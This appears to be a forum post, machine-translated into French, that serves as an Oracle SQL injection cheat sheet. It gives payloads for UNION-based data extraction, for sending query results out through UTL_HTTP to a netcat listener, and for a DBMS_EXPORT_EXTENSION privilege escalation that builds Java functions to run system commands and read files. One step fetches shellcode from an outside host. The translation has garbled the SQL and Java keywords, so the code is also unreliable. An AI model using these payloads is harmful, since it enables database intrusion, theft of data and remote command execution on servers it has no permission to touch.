Ce post a été modifié pour la dernière fois par test le 24-01-2015 à 13:01
Commentaire : -- L’exécution par phrases multiples n’est pas prise en charge, et les requêtes fédérées sont prises en charge Les noms des bases de données, des tableaux et des colonnes sont tous en majuscules.
longueur (champ) ascii (sous-fortre(champ, N, 1))
et (sélectionner compte(*) à partir du dual)>0 -- Déterminer s’il s’agit d’oracle ou non
Ordre par N--
et union 1=2 sélectionner null, null,.....,nul à partir du dual — remplacer null par N ou « N »
et 1=2 union select null, (instruction sql) ,....., null de dual -- change à (instruction sql) en 'N'
et (sélectionner le compte(*) de all_objects où object_name='UTL_HTTP')>0 -- Déterminer si le UTL_HTTP est pris en charge (l’IP d’exportation est connue)
et UTL_HTTP.request('http ://LocalIP :port'|| (Déclaration SQL)) =1-- Envoyer des messages à distance vers une écoute locale nc -vv -l -p 1234
Instructions SQL Sélectionnez bannière depuis sys.v_$version où rownum=1 pour interroger la version oracle select member from v$logfile où rownum=1 Interroger le chemin du fichier journal (Windows ou Linux) sélectionnez utl_inaddr.get_host_address de dual pour interroger l’IP d’écoute de la base de données Sélectionnez instance_name depuis v$instance pour interroger le sid sélectionne le nom de v$database Interroger le nom actuel de la base de données sélectionner sys_context ('userenv', 'current_user') parmi les utilisateurs de bases de données à double requête sélectionnez * depuis session_roles où rownum=1 pour interroger les permissions utilisateur actuelles sélectionner * depuis session_roles où rownum=1 [et rôle<>'nom de la première permission']
sélectionnez table_name depuis user_tables où rownum=1 Le premier segment de table de la base de données courante sélectionner table_name|','|| tablespace_name de user_tables où rownum=1 Premier segment de table, base de données (pour vérification, il se peut que ce ne soit pas v$database) sélectionnez table_name à partir de user_tables où rownum=1 et table_name<>'premier segment de table' Le deuxième segment de table de la base de données actuelle
sélectionnez column_name à partir de user_tab_columns où rownum=1 et table_name='Segment de table' Le premier champ correspondant au nom du tableau sélectionnez column_name parmi user_tab_columns où rownum=1 et table_name='Segment de table' et column_name<>'Premier champ' Le second champ correspondant au nom du tableau
Champ de sélection du segment de table où rownum=1 viole le contenu de la première ligne Sélectionner le champ du segment de table où rownum=1 et le champ <> 'Contenu de la première ligne' exposent le contenu de la deuxième ligne
Interbibliothèques sélectionner le propriétaire parmi all_tables où rownum=1 interroge le premier nom de base de données sélectionnez propriétaire parmi all_tables où rownum=1 et propriétaire<> « Premier nom de base de données » pour interroger le second nom de base de données
sélectionnez table_name parmi all_tables où rownum=1 et owner='nom de la base de données' Interroger le premier nom de table de la base de données correspondante Sélectionnez table_name depuis all_tables où rownum=1 et propriétaire='nom de la base de données' et table_name<>'premier nom de table' pour interroger le second nom de table de la base de données correspondante
sélectionnez column_name parmi all_tab_columns où rownum=1 et owner='nom de la base de données' et table_name='segment de table'. Le premier champ correspondant au nom du tableau sélectionne column_name parmi all_tab_columns où rownum=1 et propriétaire='nom de la base de données' et table_name='segment de table' et column_name<>'premier champ' Le second champ correspondant au nom du tableau
Sélectionnez le champ dans la base de données. segment de table où rownum=1 viole le contenu de la première ligne Sélectionnez le champ dans la base de données. Le segment de tableau où rownum=1 et le champ <> « Contenu de la première ligne » viole le contenu de la deuxième ligne
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; multi-instructions END ; --','SYS',0,'1',0)--
Si 'is s’échappe, chr() est utilisé.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-énoncés || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Si plusieurs phrases sont trop longues, vous pouvez écrire la déclaration dans le fichier du site web et utiliser utl_http.request pour la récupérer.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; utl_http.request('http ://www.guetsec.com/shellcode.txt') ; --','SYS',0,'1',0)--
Créer un package JAVA SecTest runCMD est utilisé pour exécuter des commandes système et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT » DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT'''' créer ou remplacer et compiler une source Java nommée « SecTest » comme java.io d’importation.* ; la classe publique SecTest étend Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())) ; String stemp,str=" » ; while((stemp=monLecteur.LineRead()) !=null) str+=stemp+"\n » ; monLecteur.close() ; retour de force ; }catch(Exception e){return e.toString() ; }}}''''; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--
readFile est utilisé pour lire le fichier et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT » DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT'''' créer ou remplacer et compiler une source Java nommée « SecTest » comme java.io d’importation.* ; la classe publique SecTest étend Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)) ; String stemp,str=" » ; while((stemp=monLecteur.LineRead()) !=null) str+=stemp+"\n » ; monLecteur.close() ; retour de force ; }catch(Exception e){return e.toString() ; }}}''''; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--
Accorder des permissions Java et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER L’EXÉCUTION IMMÉDIATE '''commencer dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS :java.io.FilePermission'''''''',''''''''<<TOUS LES FICHIERS>>'''''''' ''''''''exécuter'''''''') ; fin ; ''''; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--
Créer une fonction Fonction SecRunCMD et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIAT ''''créer ou remplacer fonction SecRunCMD(p_cmd in varchar2) retourner varchar2 comme langage java name''''''''SecTest.runCMD(java.lang.String) retourner String'''''''' ; ''''; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--
Fonction SecReadFile et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT '''' créer ou remplacer fonction SecReadFile(nom de fichier dans varchar2) retourner varchar2 comme langage nom java''''''''SecTest.readFile(java.lang.String) retourner String' '''''''; ''''; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--
Accorder la permission d’exercer la fonction publique SecRunCMD se voit accorder des permissions et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER À EXÉCUTER IMMÉDIATEMENT « accorder tout sur SecRunCMD au public » ; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--
SecReadFile et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT '''accorder tout sur SecReadFile au public''' ; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--
Détecte si la fonction a été créée avec succès et (sélectionnez count(*) de all_objects où object_name='SECRUNCMD')>0-- et (sélectionnez count(*) de all_objects où object_name='SECREADFILE')>0--
Exécutez la commande et '1'<> (sélectionnez sys. SecRunCMD('Exécuter commande') de dual)-- et '1'<> (sélectionnez sys. SecReadFile ('adresse physique du fichier') de dual)-- ou et 1=2 union sélectionne les systèmes nu,...,ls. SecRunCMD('execute command'),...,null from dual-- et 1=2 union sélectionne les systèmes nu,...,ls. SecReadFile('adresse physique du fichier'),...,null depuis dual-- ou et '1'<>(select UTL_HTTP.request('http ://LocalIP :port'|| REMPLACER(REMPLACER(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) de dual)-- et '1'<>(select UTL_HTTP.request('http ://LocalIP :port'|| REMPLACER(REMPLACER(sys. SecReadFile('Adresse physique du fichier'),' ',' ','\n',' ')) de dual)--
Fonction de suppression et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT '''fonction drop SecRunCMD''' ; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)-- et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT '''fonction de drop SecReadFile''' ; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)-- |